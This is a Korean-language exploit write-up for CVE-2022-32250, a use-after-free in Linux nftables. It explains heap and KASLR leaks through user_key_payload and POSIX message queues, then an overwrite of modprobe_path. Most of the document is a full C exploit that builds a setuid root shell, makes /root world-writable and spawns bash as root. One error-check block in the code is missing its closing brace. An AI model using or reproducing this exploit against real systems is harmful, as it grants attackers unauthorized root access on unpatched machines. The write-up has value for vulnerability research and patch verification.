Overview

CVE-2022-32250은 nftables에서 NFT_EXPR_STATEFUL 플래그가 설정되지 않은 expression을 set에 추가할 때 Use-After-Free가 발생하여 LPE가 가능한 취약점입니다.

Vulnerability

NFT_MSG_NEWSET 타입 메시지를 netlink 소켓에 전송하면 nf_tables_newset > nft_set_elem_expr_alloc이 호출됩니다.

struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
                     const struct nft_set *set,
                     const struct nlattr *attr)
{
    struct nft_expr *expr;
    int err;

    expr = nft_expr_init(ctx, attr); // [0]
    if (IS_ERR(expr))
        return expr;

    err = -EOPNOTSUPP;
    if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) // [1]
        goto err_set_elem_expr;

    if (expr->ops->type->flags & NFT_EXPR_GC) {
        if (set->flags & NFT_SET_TIMEOUT)
            goto err_set_elem_expr;
        if (!set->ops->gc_init)
            goto err_set_elem_expr;
        set->ops->gc_init(set);
    }

    return expr;

err_set_elem_expr: // [2]
    nft_expr_destroy(ctx, expr);
    return ERR_PTR(err);
}

이 때 [1]에서 expr의 플래그에 NFT_EXPR_STATEFUL이 설정되어 있지 않으면 [2]로 이동하여 해당 expr을 해제하게 됩니다.

[0]nft_expr_init > nf_tables_newexpr 함수에서 lookup이나 dynset expression은 [2]에서 해제되기 전에 nft_{lookup,dynset}_init > nf_tables_bind_set에서 doubly linked list로 연결되기 때문에 dangling pointer가 남아 Use-After-Free 취약점이 발생합니다.

Exploit

Heap address leak

  • nft_lookup (kmalloc-64 사용)
struct nft_expr {
    const struct nft_expr_ops   *ops;   // +0x0
    unsigned char               data[]  // +0x8 ~
        __attribute__((aligned(__alignof__(u64))));
};

struct nft_lookup {
    struct nft_set          *set;       // +0x8
    u8                      sreg;       // +0x10
    u8                      dreg;       // +0x11
    bool                    invert;     // +0x12
    struct nft_set_binding  binding;    // +0x18 ~
};

struct nft_set_binding {
    struct list_head            list;   // +0x18
    const struct nft_chain      *chain; // +0x28
    u32                         flags;  // +0x30
};
  • user_key_payload
struct user_key_payload {
    struct rcu_head     rcu;        /* RCU destructor */              // +0x0
    unsigned short  datalen;        /* length of this data */         // +0x10
    char        data[] __aligned(__alignof__(u64)); /* actual data */ // +0x18
};

user_key_payload 구조체는 8 < data 길이 ≤ 40 일 때 kmalloc-64 를 사용합니다.

따라서

  1. lookup expression을 set에 추가해 dangling pointer를 만들고
  2. heap spray로 dangling pointer를 user_key_payload로 덮은 뒤
  3. 다른 expression을 set에 추가하면

user_key_payload->data(0x18 offset)에 nft_lookup->binding->list(0x18 offset)주소가 적혀 heap address를 leak할 수 있습니다.

image.png

KASLR base leak

0x18 offset밖에 못 쓴다는 제약이 있지만 mqueue를 이용한 익스플로잇이 가능합니다.

  • posix_msg_tree_node (kmalloc-64 사용)
struct posix_msg_tree_node {
    struct rb_node      rb_node;  // +0x0
    struct list_head    msg_list; // +0x18
    int                 priority; // +0x28
};
  • do_mq_timedsend
static int do_mq_timedsend(mqd_t mqdes, const char __user *u_msg_ptr,
        size_t msg_len, unsigned int msg_prio,
        struct timespec64 *ts)
{
    struct fd f;
    struct inode *inode;
    struct ext_wait_queue wait;
    struct ext_wait_queue *receiver;
    struct msg_msg *msg_ptr;
    struct mqueue_inode_info *info;
    ktime_t expires, *timeout = NULL;
    struct posix_msg_tree_node *new_leaf = NULL;
    int ret = 0;
    ...
    /* First try to allocate memory, before doing anything with
     * existing queues. */
    msg_ptr = load_msg(u_msg_ptr, msg_len);
    if (IS_ERR(msg_ptr)) {
        ret = PTR_ERR(msg_ptr);
        goto out_fput;
    }
    msg_ptr->m_ts = msg_len;
    msg_ptr->m_type = msg_prio;

    /*
     * msg_insert really wants us to have a valid, spare node struct so
     * it doesn't have to kmalloc a GFP_ATOMIC allocation, but it will
     * fall back to that if necessary.
     */
    if (!info->node_cache)
        new_leaf = kmalloc(sizeof(*new_leaf), GFP_KERNEL);

    spin_lock(&info->lock);

    if (!info->node_cache && new_leaf) {
        /* Save our speculative allocation into the cache */
        INIT_LIST_HEAD(&new_leaf->msg_list);
        info->node_cache = new_leaf;
        new_leaf = NULL;
    } else {
        kfree(new_leaf);
    }

    if (info->attr.mq_curmsgs == info->attr.mq_maxmsg) {
        ...
    } else {
        receiver = wq_get_first_waiter(info, RECV);
        if (receiver) {
            pipelined_send(&wake_q, info, msg_ptr, receiver);
        } else {
            /* adds message to the queue */
            ret = msg_insert(msg_ptr, info);
            if (ret)
                goto out_unlock;
            __do_notify(info);
        }
        inode->i_atime = inode->i_mtime = inode->i_ctime =
                current_time(inode);
    }
    ...

mq_timedsend로 전송한 메시지는 msg_msg 구조체로 posix_msg_tree_node->msg_list(0x18 offset)에 doubly linked list로 연결됩니다.

image.png

  • do_mq_timedreceive
static int do_mq_timedreceive(mqd_t mqdes, char __user *u_msg_ptr,
        size_t msg_len, unsigned int __user *u_msg_prio,
        struct timespec64 *ts)
{
    ssize_t ret;
    struct msg_msg *msg_ptr;
    struct fd f;
    struct inode *inode;
    struct mqueue_inode_info *info;
    struct ext_wait_queue wait;
    ktime_t expires, *timeout = NULL;
    struct posix_msg_tree_node *new_leaf = NULL;
    ...

    /*
    * msg_insert really wants us to have a valid, spare node struct so
    * it doesn't have to kmalloc a GFP_ATOMIC allocation, but it will
    * fall back to that if necessary.
    */
    if (!info->node_cache)
        new_leaf = kmalloc(sizeof(*new_leaf), GFP_KERNEL);

    spin_lock(&info->lock);

    if (!info->node_cache && new_leaf) {
        /* Save our speculative allocation into the cache */
        INIT_LIST_HEAD(&new_leaf->msg_list);
        info->node_cache = new_leaf;
    } else {
        kfree(new_leaf);
    }

    if (info->attr.mq_curmsgs == 0) {
        ...
    } else {
        DEFINE_WAKE_Q(wake_q);

        msg_ptr = msg_get(info);

        inode->i_atime = inode->i_mtime = inode->i_ctime =
                current_time(inode);

        /* There is now free space in queue. */
        pipelined_receive(&wake_q, info);
        spin_unlock(&info->lock);
        wake_up_q(&wake_q);
        ret = 0;
    }
    if (ret == 0) {
        ret = msg_ptr->m_ts;

        if ((u_msg_prio && put_user(msg_ptr->m_type, u_msg_prio)) ||
            store_msg(u_msg_ptr, msg_ptr, msg_ptr->m_ts)) { // copy_to_user
            ret = -EFAULT;
        }
        free_msg(msg_ptr);
    }
    ...

mq_timedreceive를 호출하면 posix_msg_tree_node->msg_list에 연결된 첫 번째 msg_msg->datau_msg_ptr에 저장합니다.

  1. dangling pointer에 posix_msg_tree_node를 할당하고
  2. 다시 lookup expression을 set에 추가해 posix_msg_tree_node->msg_list를 dangling pointer로 만든 뒤
  3. user_key_payload로 fake msg_msg struct를 spray해 posix_msg_tree_node에 연결하면

mq_timedreceive를 호출하여 &user_key_payload->data + 0x30부터의 데이터를 읽을 수 있어 다음 slab object의 데이터를 읽을 수 있습니다.

image.png

  • user_revoke
void user_revoke(struct key *key)
{
	struct user_key_payload *upayload = user_key_payload_locked(key);

	/* clear the quota */
	key_payload_reserve(key, 0);

	if (upayload) {
		rcu_assign_keypointer(key, NULL);
		call_rcu(&upayload->rcu, user_free_payload_rcu);
	}
}
void call_rcu(struct rcu_head *head, rcu_callback_t func)
{
  ...
  head->func = func;
  head->next = NULL;
  ...

user_revoke 를 호출하면 user_key_payload->rcu_head->funcuser_free_payload_rcu 함수 주소를 적을 수 있기 때문에 &user_key_payload->data + 0x30을 읽어 KASLR base를 구할 수 있습니다.

Overwrite modprobe_path

msg_get 함수의 unlink 과정을 이용하여 modprobe_path의 8바이트를 덮을 수 있습니다.

m_list.next->prev = m_list.prev // m_list.next + 8 = m_list.prev
m_list.prev->next = m_list.next // m_list.prev + 0 = m_list.next

modprobe_path는 기본적으로 /sbin/modprobe로 설정되어 있어서 m_list.prevmodprobe_path - 8 + 1로, m_list.next(heap_leak & 0xffffffff00000000) + 0x2f706d74(tmp/\x??\x??\xff\xff)로 설정하면 두 주소 모두 writable하기 때문에 modprobe_path/tmp/\x??\x??\xff\xffprobe로 덮어쓸 수 있습니다. (0xffff????heap_leak 의 상위 4바이트)

exploit.c

// gcc -o exploit exploit.c -l mnl -l nftnl -w
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <assert.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syscall.h>
#include <mqueue.h>
#include <linux/io_uring.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <time.h>
#include <sys/stat.h>

typedef int32_t key_serial_t;
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid)
{
    return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}

static inline key_serial_t revoke_key(key_serial_t key)
{
    return keyctl(KEYCTL_REVOKE, key, 0, 0, 0);
}

static inline key_serial_t unlink_key(key_serial_t key, key_serial_t ringid)
{
    return keyctl(KEYCTL_UNLINK, key, ringid, 0, 0);
}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];

    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);

    return;
}

void add_table(struct mnl_socket* nl, const char *table_name) {
    // https://git.netfilter.org/libnftnl/tree/examples/nft-table-add.c
    char buf[MNL_SOCKET_BUFFER_SIZE];
    struct nlmsghdr *nlh;
    uint32_t portid, seq, table_seq, family;
    struct nftnl_table *t;
    struct mnl_nlmsg_batch *batch;

    family = NFPROTO_IPV4;

    t = nftnl_table_alloc();
    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);
    // nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, 0);
    
    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    table_seq = seq;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                    NFT_MSG_NEWTABLE, family,
                    NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, t);
    nftnl_table_free(t);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                  mnl_nlmsg_batch_size(batch)) < 0) {
        perror("mnl_socket_send");
        exit(EXIT_FAILURE);
    }
}

void add_set(struct mnl_socket *nl, const char *table_name, const char *set_name) {
    // https://git.netfilter.org/libnftnl/tree/examples/nft-set-add.c
    struct nftnl_set *s;
    struct nlmsghdr *nlh;
    struct mnl_nlmsg_batch *batch;
    uint8_t family;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    uint32_t seq = time(NULL);
    int ret;

    family = NFPROTO_IPV4;

    s = nftnl_set_alloc();
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
    /* inet service type, see nftables/include/datatypes.h */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
    nftnl_set_set_u32(s, NFTNL_SET_ID, 1);

    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                    NFT_MSG_NEWSET, family,
                    NLM_F_CREATE | NLM_F_ACK, seq++);

    nftnl_set_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                mnl_nlmsg_batch_size(batch));
    if (ret == -1) {
        perror("mnl_socket_sendto");
        exit(EXIT_FAILURE);
    }
}

void add_lookup(struct mnl_socket *nl, const char *table_name, const char *set_name, const char *lookup_set_name) {
    uint8_t sreg;
    struct nftnl_set *s;
    struct nftnl_expr *e;
    uint8_t family;
    struct nlmsghdr *nlh;
    struct mnl_nlmsg_batch *batch;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    uint32_t seq = time(NULL);
    int ret;

    sreg = NFT_REG_1;
    family = NFPROTO_IPV4;

    s = nftnl_set_alloc();
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
    /* inet service type, see nftables/include/datatypes.h */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
    nftnl_set_set_u32(s, NFTNL_SET_ID, 2);
    
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFTA_SET_EXPR);

    e = nftnl_expr_alloc("lookup");
    nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, sreg);
    nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, lookup_set_name);

    nftnl_set_add_expr(s, e);

    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                    NFT_MSG_NEWSET, family,
                    NLM_F_CREATE | NLM_F_ACK, seq++);

    nftnl_set_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                mnl_nlmsg_batch_size(batch));
    if (ret == -1) {
        perror("mnl_socket_sendto");
        exit(EXIT_FAILURE);
    }
}

const char priv_file[] = "/tmp/shell.c\0";
const char dummy_file[] = "/tmp/dummy\0";

const char priv_context[] = "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00";
const char dummy_content[] = "\xff\xff\xff\xff";
const char new_modprobe_content[] = "#!/bin/bash\n\nchmod -R 777 /root\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n";

void prepare_root_shell(void) {
    create_dummy_file();
    create_priv_file();
}

void create_dummy_file(void) {
    int fd;

    fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    write(fd, dummy_content, sizeof(dummy_content));
    close(fd);
}

void create_priv_file(void) {
    int fd;

    fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    write(fd, priv_context, sizeof(priv_context));
    close(fd);

    system("gcc -o /tmp/shell /tmp/shell.c -w");
}

void write_new_modprobe() {
    int fd, fd_modprobe;
    char modprobe_name[0x10] = {0, };

    fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY);
    read(fd_modprobe, modprobe_name, 14);
    close(fd_modprobe);
    
    printf("[*] current modprobe name: %s\n", modprobe_name);
    fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    if (fd < 0) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    write(fd, new_modprobe_content, sizeof(new_modprobe_content));

    close(fd);
}

void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
        perror("sched_setaffinity");
        exit(EXIT_FAILURE);
    }
}

#define KEY_DESC_MAX_SIZE 40 // 64 - 0x18 (to allocate user_key_payload in kmalloc-64)

int main(void) {
    /* initialize */
    int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    *sema = 1;

    if (fork()){
        set_cpu_affinity(1, getpid());
        while (*sema);
        prepare_root_shell();
        write_new_modprobe();
        execve("/tmp/dummy", NULL, NULL);
        execve("/tmp/shell", NULL, NULL);
    }

    unshare_setup(getuid(), getgid());
    set_cpu_affinity(0, 0);
    
    struct mnl_socket *nl;

    nl = mnl_socket_open(NETLINK_NETFILTER);

    add_table(nl, "TABLE_1");
    add_table(nl, "TABLE_2");
    add_table(nl, "TABLE_3");

    add_set(nl, "TABLE_1", "SET_1");
    add_set(nl, "TABLE_2", "SET_2");
    add_set(nl, "TABLE_3", "SET_3");

    key_serial_t *id_buffer1 = calloc(50, sizeof(key_serial_t));
    key_serial_t *id_buffer2 = calloc(70, sizeof(key_serial_t));
    key_serial_t *id_buffer3 = calloc(50, sizeof(key_serial_t));

    // https://github.com/torvalds/linux/blob/1722389b0d863056d78287a120a1d6cadb8d4f7b/tools/testing/selftests/mqueue/mq_perf_tests.c
    struct mq_attr attr;
    mqd_t queue1 = -1;
    mqd_t queue2 = -1;

    attr.mq_flags = O_NONBLOCK;
    attr.mq_maxmsg = 10; // cat /proc/sys/fs/mqueue/msg_max
    attr.mq_msgsize = 0x100;

    queue1 = mq_open("/stage2", O_RDWR | O_EXCL | O_CREAT | O_NONBLOCK, DEFFILEMODE, &attr);
    if (queue1 == -1) {
        perror("mq_open");
        exit(EXIT_FAILURE);
    

    queue2 = mq_open("/stage3", O_RDWR | O_EXCL | O_CREAT | O_NONBLOCK, DEFFILEMODE, &attr);
    if (queue2 == -1) {
        perror("mq_open");
        exit(EXIT_FAILURE);
    }

    /* STAGE 1 : leak heap address */
    add_lookup(nl, "TABLE_1", "UAF_1", "SET_1"); // make dangling pointer

    // heap spraying
    char key_desc[KEY_DESC_MAX_SIZE] = "AAAAAAAAA"; // len(key_desc) > 8 -> kmalloc-64

    for (uint32_t i=0; i<50; i++) {
        *(uint64_t*)(key_desc) += 1;
        if ((id_buffer1[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING)) < 0) {
            perror("add_key");
            exit(EXIT_FAILURE);
        }
    }

    add_lookup(nl, "TABLE_1", "UAF_2", "SET_1"); // overwrite user_key_payload->data to dangling pointer (heap address)

    uint8_t buffer[USHRT_MAX] = {0};
    int32_t keylen;
    uint64_t heap_leak;
    
    for (uint32_t i=0; i<50; i++) {
        if (keyctl(KEYCTL_READ, id_buffer1[i], (long)buffer, 0x10, 0) < 0) {
            perror("keyctl");
            exit(EXIT_FAILURE);
        }

        if (!strncmp(&buffer[6], "\xff\xff", 2)) {
            heap_leak = *(uint64_t*)buffer;
            printf("[+] LEAK : 0x%llx\n", heap_leak);
            break;
        }
    }

    /* STAGE 2 : leak KASLR address */
    add_lookup(nl, "TABLE_2", "UAF_3", "SET_2"); // make dangling pointer

    // allocate posix_msg_tree_node to dangling pointer
    if (mq_timedsend(queue1, "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ", 0x28, 0, NULL) < 0) {
        perror("mq_send");
        exit(EXIT_FAILURE);
    }

    add_lookup(nl, "TABLE_2", "UAF_4", "SET_2"); // make dangling pointer

    // link corrupted msg_msg object
    char msg[KEY_DESC_MAX_SIZE];
    
    memcpy(msg     , &heap_leak, 0x8);  // m_list.next
    memcpy(msg+0x8 , &heap_leak, 0x8);  // m_list.prev
    memcpy(msg+0x10, "BBBBBBBB", 0x8);  // m_type
    *(size_t*)(msg+0x18) = 0x28;        // m_ts

    // heap spraying
    for (int i=0; i<70; i++) {
        *(uint64_t*)(msg+0x10) += 1;
        if ((id_buffer2[i] = add_key("user", msg, msg, 0x20, KEY_SPEC_PROCESS_KEYRING)) < 0) {
            perror("add_key");
            exit(EXIT_FAILURE);
        }
    }

    // revoke key -> write user_free_payload_rcu address to rcu->func
    for (int i=0; i<70; i++) {
        if (revoke_key(id_buffer2[i]) < 0) {
            perror("revoke_key");
            exit(EXIT_FAILURE);
        }
    }

    // read user_key_payload->rcu->func (user_free_payload_rcu)
    uint64_t kaslr_base = 0;

    if ((mq_timedreceive(queue1, buffer, 0x100, NULL, NULL) != -1)) {
        kaslr_base = *(uint64_t*)buffer - 0x4a80c0;
    }

    if (((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000) || ((kaslr_base & 0xffff) != 0x00000)) {
        printf("[-] failed to leak KASLR base... (0x%llx)\n", kaslr_base);
        exit(EXIT_FAILURE);
    }

    printf("[+] KASLR Base : 0x%llx\n", kaslr_base);

    sleep(1);

    /* STAGE 3 : overwrite modprobe_path */
    // overwrite (modprob_path + 1)
    //      /sbin/modprobe
    // ->   /tmp/????probe (???? -> upper 4 bytes of heap_leak)
    uint64_t modprobe_path = kaslr_base + 0x186cf20;
    printf("[+] modprobe_path addr : 0x%llx\n", modprobe_path);

    add_lookup(nl, "TABLE_3", "UAF_5", "SET_3"); // make dangling pointer

    // allocate posix_msg_tree_node to dangling pointer
    if (mq_timedsend(queue2, "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ", 0x28, 1, NULL) != 0) {
        perror("mq_send");
        exit(EXIT_FAILURE);
    }

    add_lookup(nl, "TABLE_3", "UAF_6", "SET_3"); // make dangling pointer

    // msg_get(prev, next)
    // m_list.next->prev = prev
    // m_list.prev->next = next
    uint64_t new_modprobe_path = (heap_leak & 0xffffffff00000000) + 0x2f706d74;
    *(uint64_t*)(msg) = modprobe_path - 8 + 1;  // m_list.next
    *(uint64_t*)(msg+8) = new_modprobe_path;    // m_list.prev
    memcpy(msg+0x10, "CCCCCCCC", 0x8);          // m_type
    *(size_t*)(msg+0x18) = 0x28;                // m_ts

    // heap spraying
    for (uint32_t i=0; i<50; i++) {
        *(uint64_t*)(msg+0x10) += 1;
        if ((id_buffer3[i] = add_key("user", msg, msg, 0x20, KEY_SPEC_PROCESS_KEYRING)) < 0) {
            perror("add_key");
            exit(EXIT_FAILURE);
        }
    }

    // overwrite modprobe_path
    mq_timedreceive(queue2, buffer, 0x100, NULL, NULL);
    sleep(1);

    /* get shell */
    *sema = 0;

    while(1);
}

Untitled

References

  • https://blog.theori.io/linux-kernel-exploit-cve-2022-32250-with-mqueue-a8468f32aab5
  • https://velog.io/@0range1337/1-day-Research-CVE-2022-32250-nftables의-Use-After-Free-취약점을-이용한-리눅스-권한-상승-공격
  • https://bsauce.github.io/2022/11/03/CVE-2022-32250/